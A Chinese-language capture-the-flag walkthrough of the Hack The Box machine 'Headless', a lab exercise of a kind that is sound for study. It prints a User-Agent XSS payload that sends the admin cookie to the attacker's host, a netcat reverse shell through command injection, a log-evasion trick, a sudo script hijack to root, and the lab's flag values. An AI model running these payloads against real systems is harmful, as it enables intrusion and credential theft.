Headless靶機
靶機概述
Headless 是一款簡單易難的 Linux 機器,具有python實現的託管網站的伺服器。基本思路:
- 透過埠探測到web頁面,有一個表單。
- 利用忙注XSS,獲得管理員Cookie,進而獲得立足點。
- 利用郵件資訊進行提權到root許可權
Headless靶機地址
1、nmap埠探測
1)測試kali與HTB連通性
a)kali連線網路卡
ip a
tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 10.10.14.50/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1030/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy
valid_lft forever preferred_lft forever
與HTB連線的網路卡10.10.14.50
b)HTB靶機地址
c) ping 測試
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
2) nmap掃描
a) 埠發現
# 以最低10000速率,以tcp掃面全埠 結果輸出到ports檔案中
nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.8
Host is up (0.33s latency).
Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
b) 埠詳細資訊
# 以tcp連線,輸出詳細資訊,以預設指令碼 掃描22,5000埠,結果輸出到details檔案中
nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 28 Jul 2024 02:48:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
可以看到5000埠像是一個web服務,22號埠就是常規的ssh服務
2、web滲透
1)訪問5000埠
發現有一個For questions的按鈕,我們點選進去,看到一個表單,嘗試XSS注入
點選提交
上面顯示
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
你的IP地址已經被標記,你的瀏覽器資訊的報告已經被髮送給管理員去調查了。
下邊就是報告的資訊,可以看到有頭部的資訊,可以嘗試頭部XSS注入
2)獲取管理員cookie
a) 嘗試注入點
我們開啟burpsuite攔截提交表單的請求
我們修改UA頭資訊,進行XSS注入
插入
<script>alert(1)</script>
成功彈窗
b) 獲取管理員cookie
- 開啟本地的服務,捕獲http請求
# python開啟http監聽5000埠
python -m http.server 5000
- UA頭插入
GET請求本地的python服務cookie以引數傳輸base64加密後的字串
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);</script>
出現了一點小bug,
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable換了一個vpn節點 我的主機ip換成了 10.10.14.54
3.傳送觀察本地的python服務
看到cookie的base64外帶出來了
開始base64解碼
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
# 結果
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
看著is_admin欄位也是base64加密的,解碼看看
echo "ImFkbWluIg" | base64 -d
"admin"base64: 無效的輸入
# 這裡無效輸入,是base編碼字元的長度必須是4的倍數,否則用‘=’補齊
echo "ImFkbWluIg==" | base64 -d
"admin"
可以看到就是admin,我們有了admin的cookie,看看有沒有什麼其他可以訪問的網站
3)管理介面路徑尋找
a) 路徑爆破
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000
#出來的路徑
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
b) 訪問dashboard
unauthorized我們可以更換我們瀏覽器的cookie值,達到訪問的目的
重新整理可以看到
看它是Select Date框裡是日期,會不會是date命令生成的呢。點選 Generate Report看看會發生什麼
下面說Systems are up and running!
用burp抓包分析一下
c) 嘗試命令注入
傳了一個date引數,我們嘗試命令注入 ;id
看可不可以
看到輸出了id的命令值
3、反彈shell,獲得立足點
1)本地監聽
nc -lnvp 4444
2) 命令注入
反彈shell
nc -e /bin/bash 10.10.14.54 4444
成功反彈shell,獲得立足點
# 獲得一個更美觀的shell,並讓日誌不記錄我們的操做
script /dev/null -c /bin/bash
3) 獲得user flag
在本使用者的家目錄,找到flag
dvir@headless:~$ cd /home/dvir
cd /home/dvir
dvir@headless:~$ cat user.txt
cat user.txt
c62add3a4cecb6ace7242e40305e9ed2
4、提權到root
1)發現郵件系統
透過列舉目標系統,發現目標有郵件
cd /var/mail
cat dvir
Subject: Important Update: New System Check Script
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
意思就是說:為了應對最近的相容性和崩潰問題,我們引入了一個新的系統檢查指令碼。
這個指令碼應該就是我們提權的關鍵
# 執行 sudo -l 可以看到檢查檔案的路徑
sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
#檢視一下指令碼
cat /sur/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
2)分析指令碼檔案
我們可以看到以上指令碼,執行了多項系統的檢查與維護任務。
首先,它驗證是否以特權執行,如果沒有則退出。
if [ "$EUID" -ne 0 ]; then
exit 1
fi
然後,識別並格式化顯示核心vmlinuz*的最後修改時間。
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
之後,它檢索並顯示根檔案系統上的可用磁碟空間。
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
該指令碼還報告系統的平均負載。此外,它還會檢查名為 initdb.sh 的資料庫服務是否正在執行;如果沒有,它會默默地啟動它
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
基於initdb.sh沒有執行會被這個檢查系統的指令碼syscheck
默默以特權執行
我們是不是可以像dll劫持、環境變數劫持那樣,讓他去載入我們自己寫的initdb.sh
呢
3)initdb.sh劫持提權
# 由於我們在tmp目錄下具有寫許可權,先在tmp目錄下建立initdb.sh
echo "/bin/bash" > /tmp/initdb.sh
# 賦予執行許可權
chmod +x /tmp/initdb.sh
執行sudo syscheck
dvir@headless:/tmp$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
id
id
uid=0(root) gid=0(root) groups=0(root)
拿到root flag
cat /root/root.txt
1d3462b03683fc35bcd908637e7dc4a7
總結
- 先用nmap掃描,發現目標機器開放了22,5000埠。
- 訪問5000埠,發現是一個web服務,並且有一個表單,嘗試儲存型XSS攻擊,獲得管理員cookie資訊
- 利用管理員cookie資訊,結合目錄爆破出來的/bashboard路徑,發現了一處命令注入的RCE漏洞,成功獲得立足點
- 透過列舉得到此使用者有mail郵件,開啟郵件說有一個系統檢查指令碼syscheck,透過分析指令碼知道指令碼會去以root許可權執行
initdb.sh
服務 - 透過劫持
initdb.sh
成功獲得root許可權